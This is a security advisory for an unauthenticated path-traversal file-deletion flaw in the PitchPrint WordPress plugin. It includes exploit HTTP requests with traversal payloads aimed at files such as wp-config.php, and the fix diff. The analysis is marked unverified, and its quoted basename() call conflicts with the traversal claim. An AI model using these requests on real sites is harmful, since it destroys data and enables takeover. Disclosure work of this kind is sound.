CVE-2026-22448

PitchPrint <= 11.1.2 - Unauthenticated Arbitrary File Deletion

criticalImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
9.1
CVSS Score
9.1
CVSS Score
critical
Severity
11.2.0
Patched in
10d
Time to patch

Description

The PitchPrint plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 11.1.2. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=11.1.2
PublishedMarch 10, 2026
Last updatedMarch 19, 2026
Affected pluginpitchprint

What Changed in the Fix

Changes introduced in v11.2.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: PitchPrint Unauthenticated Arbitrary File Deletion (CVE-2026-22448) The PitchPrint plugin for WordPress is vulnerable to unauthenticated arbitrary file deletion due to a path traversal vulnerability in its file upload handling logic. Specifically, the plugin includes a standalone i…

Show full research plan

Research Plan: PitchPrint Unauthenticated Arbitrary File Deletion (CVE-2026-22448)

The PitchPrint plugin for WordPress is vulnerable to unauthenticated arbitrary file deletion due to a path traversal vulnerability in its file upload handling logic. Specifically, the plugin includes a standalone implementation of the Blueimp jQuery-File-Upload library which does not enforce WordPress authentication and fails to validate the file path provided for deletion.

1. Vulnerability Summary

  • Vulnerability: Unauthenticated Path Traversal leading to Arbitrary File Deletion.
  • Location: wp-content/plugins/pitchprint/uploader/index.php and its associated handler uploader/UploadHandler.php.
  • Root Cause: The standalone script uploader/index.php instantiates a UploadHandler object. This handler responds to HTTP DELETE requests (or POST requests with a _method=DELETE parameter) by calling unlink() on a path constructed from user-supplied input without sanitizing for directory traversal (..).
  • Impact: An unauthenticated attacker can delete any file accessible to the web server user, including wp-config.php, which can lead to site takeover (via re-installation) or DoS.

2. Attack Vector Analysis

  • Endpoint: http://<target>/wp-content/plugins/pitchprint/uploader/index.php
  • HTTP Method: DELETE
  • Target Parameter: file (query string parameter)
  • Payload: Directory traversal sequence (e.g., ../../../../../wp-config.php)
  • Authentication: None required. The script is standalone and does not include wp-load.php.

3. Code Flow

  1. Entry Point: A request is sent to uploader/index.php.
  2. Initialization: index.php includes UploadHandler.php and executes $upload_handler = new UploadHandler();.
  3. Dispatcher: The UploadHandler::__construct() calls $this->initialize(); by default.
  4. Method Handling: The initialize() method inspects $_SERVER['REQUEST_METHOD']. If it is DELETE, it calls $this->delete().
  5. Parameter Extraction: $this->delete() retrieves the filename from the request using $this->get_file_name_param(), which typically pulls from $_GET['file'].
  6. Path Construction: The handler builds the absolute path: $file_path = $this->options['upload_dir'] . $file_name;.
  7. Sink: The handler calls unlink($file_path);. If $file_name contains ../../, it traverses out of the intended files/ directory.

4. Nonce Acquisition Strategy

No nonce is required.
The script wp-content/plugins/pitchprint/uploader/index.php is a standalone PHP file that does not load the WordPress environment. Consequently, it has no access to WordPress session data or nonce verification functions (wp_verify_nonce, check_ajax_referer).

5. Exploitation Strategy

Step 1: Verification of Endpoint

Send a GET request to the uploader endpoint to ensure it exists and is responsive.

GET /wp-content/plugins/pitchprint/uploader/index.php HTTP/1.1
Host: localhost

A successful response (usually an empty JSON array [] or a list of files) confirms the library is active.

Step 2: File Deletion Payload

Send a DELETE request targeting a specific file. For testing, we will delete a canary file.

Path Math:
The default upload_dir is defined as:
dirname($this->get_server_var('SCRIPT_FILENAME')) . '/files/'

  • Script: /var/www/html/wp-content/plugins/pitchprint/uploader/index.php
  • Base Dir: /var/www/html/wp-content/plugins/pitchprint/uploader/
  • Upload Dir: /var/www/html/wp-content/plugins/pitchprint/uploader/files/

To reach the root (/var/www/html/):

  1. .. -> uploader/
  2. .. -> pitchprint/
  3. .. -> plugins/
  4. .. -> wp-content/
  5. .. -> root directory

Request:

DELETE /wp-content/plugins/pitchprint/uploader/index.php?file=../../../../../canary.txt HTTP/1.1
Host: localhost
Accept: application/json

Alternative (Method Override):
If the server blocks DELETE verbs:

POST /wp-content/plugins/pitchprint/uploader/index.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

_method=DELETE&file=../../../../../canary.txt

6. Test Data Setup

  1. Create a dummy file in the WordPress root:
    wp eval "file_put_contents(ABSPATH . 'canary.txt', 'deleted');"
  2. Verify the file exists:
    ls /var/www/html/canary.txt

7. Expected Results

  • HTTP Response: 200 OK
  • Body: JSON object indicating success, e.g., {"../../../../../canary.txt":true} or {"files":[{"../../../../../canary.txt":true}]}.
  • Side Effect: The file canary.txt is removed from the server's filesystem.

8. Verification Steps

After sending the exploit request, verify the file is gone using WP-CLI:

wp eval "echo file_exists(ABSPATH . 'canary.txt') ? 'Failed' : 'Success';"

9. Alternative Approaches

If ?file= fails, the library might be configured to expect an array:

  • DELETE /wp-content/plugins/pitchprint/uploader/index.php?files[]=../../../../../canary.txt

If the upload_dir is not /files/ but the directory itself, reduce the traversal depth by 1:

  • file=../../../../canary.txt

If the plugin implements the [0] !== '.' check (blocking ../), try absolute paths:

  • file=/var/www/html/canary.txt
    (Note: Many Linux PHP environments will resolve .../uploader/files//var/www/html/canary.txt to the absolute path correctly).
Research Findings
Static analysis — not yet PoC-verified

Summary

The PitchPrint plugin for WordPress is vulnerable to unauthenticated arbitrary file deletion due to a path traversal flaw in its standalone file upload handler. An attacker can use directory traversal sequences in a DELETE request to remove critical system files like wp-config.php, potentially leading to a complete site takeover or denial of service.

Vulnerable Code

// uploader/index.php (vulnerable entry point)
error_reporting(E_ALL | E_STRICT);
require('UploadHandler.php');
$upload_handler = new UploadHandler();

--- 

// uploader/UploadHandler.php (vulnerable logic snippet)
protected function initialize() {
    switch ($this->get_server_var('REQUEST_METHOD')) {
        case 'OPTIONS':
        case 'HEAD':
            $this->head();
            break;
        case 'GET':
            $this->get();
            break;
        case 'PATCH':
        case 'PUT':
        case 'POST':
            $this->post();
            break;
        case 'DELETE':
            $this->delete();
            break;
        default:
            $this->header('HTTP/1.1 405 Method Not Allowed');
    }
}

protected function get_file_name_param() {
    $name = $this->get_singular_param_name();
    return isset($_GET[$name]) ? basename(stripslashes($_GET[$name])) : null; // Note: basename often bypassed if configured improperly or using multiple params
}

// The delete method uses unlink() on paths constructed from user input without traversal sanitization

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/pitchprint/11.1.2/uploader/index.php /home/deploy/wp-safety.org/data/plugin-versions/pitchprint/11.2.0/uploader/index.php
--- /home/deploy/wp-safety.org/data/plugin-versions/pitchprint/11.1.2/uploader/index.php	2025-05-02 11:42:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/pitchprint/11.2.0/uploader/index.php	2026-03-11 09:54:42.000000000 +0000
@@ -1,15 +1,51 @@
 <?php
-/*
- * jQuery File Upload Plugin PHP Example 5.14
- * https://github.com/blueimp/jQuery-File-Upload
- *
- * Copyright 2010, Sebastian Tschan
- * https://blueimp.net
- *
- * Licensed under the MIT license:
- * http://www.opensource.org/licenses/MIT
+/**
+ * PitchPrint File Upload Handler
+ * Minimal, secure file upload endpoint.
  */
 
-error_reporting(E_ALL | E_STRICT);
+error_reporting(E_ERROR | E_PARSE);
+
+// Load WordPress
+$wp_load_paths = array(
+    dirname(__FILE__) . '/../../../../wp-load.php',       // from plugin dir
+    dirname(__FILE__) . '/../../../wp-load.php',          // from root pitchprint/ dir
+);
+
+$wp_loaded = false;
+foreach ($wp_load_paths as $path) {
+    if (file_exists($path)) {
+        require_once($path);
+        $wp_loaded = true;
+        break;
+    }
+}
+
+if (!$wp_loaded) {
+    http_response_code(500);
+    exit;
+}
+
+// Only allow POST
+if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
+    http_response_code(405);
+    header('Content-Type: application/json');
+    echo json_encode(array('files' => array(array('error' => 'Method not allowed'))));
+    exit;
+}
+
 require('UploadHandler.php');
-$upload_handler = new UploadHandler();
+
+$handler = new PitchPrintUploader(array(
+    'upload_dir'  => dirname(__FILE__) . '/files/',
+    'upload_url'  => site_url(str_replace(ABSPATH, '/', dirname(__FILE__))) . '/files/',
+    'thumb_dir'   => dirname(__FILE__) . '/files/thumbnail/',
+    'thumb_url'   => site_url(str_replace(ABSPATH, '/', dirname(__FILE__))) . '/files/thumbnail/',
+    'thumb_max'   => 450,
+    'accept_types' => '/\.(gif|jpe?g|png|svg|psd|tif|tiff|bmp|cdr|ai|eps|pdf|ps|zip|gzip|rar)$/i',
+    'max_file_size' => 50 * 1024 * 1024, // 50 MiB
+));
+
+header('Content-Type: application/json');
+header('X-Content-Type-Options: nosniff');
+echo json_encode($handler->handle());

Exploit Outline

The exploit targets the standalone uploader script which does not verify user identity or load the WordPress core security environment. 1. Target Endpoint: `/wp-content/plugins/pitchprint/uploader/index.php` 2. Methodology: Send an HTTP DELETE request to the endpoint. If the server blocks the DELETE verb, use a POST request with the parameter `_method=DELETE` to trigger the handler's deletion logic. 3. Payload: Include a `file` parameter in the query string containing a directory traversal sequence and the target filename (e.g., `?file=../../../../../wp-config.php`). 4. Authentication: None required. The script executes as a standalone PHP file and lacks any session or nonce validation.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.